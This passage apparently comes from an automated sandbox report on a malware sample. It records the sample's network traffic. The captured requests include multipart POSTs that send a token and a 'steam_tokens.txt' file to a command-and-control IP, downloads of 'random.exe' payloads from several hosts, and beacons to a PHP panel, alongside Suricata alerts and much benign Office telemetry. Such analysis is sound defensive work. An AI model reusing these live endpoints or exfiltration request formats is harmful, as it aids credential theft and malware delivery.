74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 41 46 48 49 4a 44 48 44 47 44 42 46 48 49 45 48 44 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 43 41 46 48 49 4a 44 48 44 47 44 42 46 48 49 45 48 44 47 49 2d 2d 0d 0a Data Ascii: ------CAFHIJDHDGDBFHIEHDGIContent-Disposition: form-data; name="token"42ecbf3a33309ffc8c0db77d1af9833e4eaf5606093cd76b70bf1c816527ba276d77d1a6------CAFHIJDHDGDBFHIEHDGIContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------CAFHIJDHDGDBFHIEHDGIContent-Disposition: form-data; name="file"------CAFHIJDHDGDBFHIEHDGI--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIIEGHIDBGHIECAAECGDHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 49 49 45 47 48 49 44 42 47 48 49 45 43 41 41 45 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 32 65 63 62 66 33 61 33 33 33 30 39 66 66 63 38 63 30 64 62 37 37 64 31 61 66 39 38 33 33 65 34 65 61 66 35 36 30 36 30 39 33 63 64 37 36 62 37 30 62 66 31 63 38 31 36 35 32 37 62 61 32 37 36 64 37 37 64 31 61 36 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 45 47 48 49 44 42 47 48 49 45 43 41 41 45 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 45 47 48 49 44 42 47 48 49 45 43 41 41 45 43 47 44 2d 2d 0d 0a Data Ascii: ------GIIEGHIDBGHIECAAECGDContent-Disposition: form-data; name="token"42ecbf3a33309ffc8c0db77d1af9833e4eaf5606093cd76b70bf1c816527ba276d77d1a6------GIIEGHIDBGHIECAAECGDContent-Disposition: form-data; name="message"ybncbhylepme------GIIEGHIDBGHIECAAECGD--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGDGCGCFHIEHIDGDBAAEHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 47 44 47 43 47 43 46 48 49 45 48 49 44 47 44 42 41 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 32 65 63 62 66 33 61 33 33 33 30 39 66 66 63 38 63 30 64 62 37 37 64 31 61 66 39 38 33 33 65 34 65 61 66 35 36 30 36 30 39 33 63 64 37 36 62 37 30 62 66 31 63 38 31 36 35 32 37 62 61 32 37 36 64 37 37 64 31 61 36 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 47 43 47 43 46 48 49 45 48 49 44 47 44 42 41 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 47 43 47 43 46 48 49 45 48 49 44 47 44 42 41 41 45 2d 2d 0d 0a Data Ascii: ------EGDGCGCFHIEHIDGDBAAEContent-Disposition: form-data; name="token"42ecbf3a33309ffc8c0db77d1af9833e4eaf5606093cd76b70bf1c816527ba276d77d1a6------EGDGCGCFHIEHIDGDBAAEContent-Disposition: form-data; name="message"wkkjqaiaxkhb------EGDGCGCFHIEHIDGDBAAE--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 36 32 37 37 30 42 37 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB62770B75C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 37 30 31 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007010001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /rUdtpijYYaAroyCEkvvS1731840403 HTTP/1.1Host: home.fvtejj5vs.topAccept: /

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 13.107.246.45 13.107.246.45

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49741 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49889 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:50055 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:50119 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:50123 -> 185.215.113.16:80

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 24_2_00A5BE30 Sleep,InternetOpenW,InternetConnectA,HttpOpenRequestA,HttpSendRequestA,InternetReadFile,

24_2_00A5BE30

Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
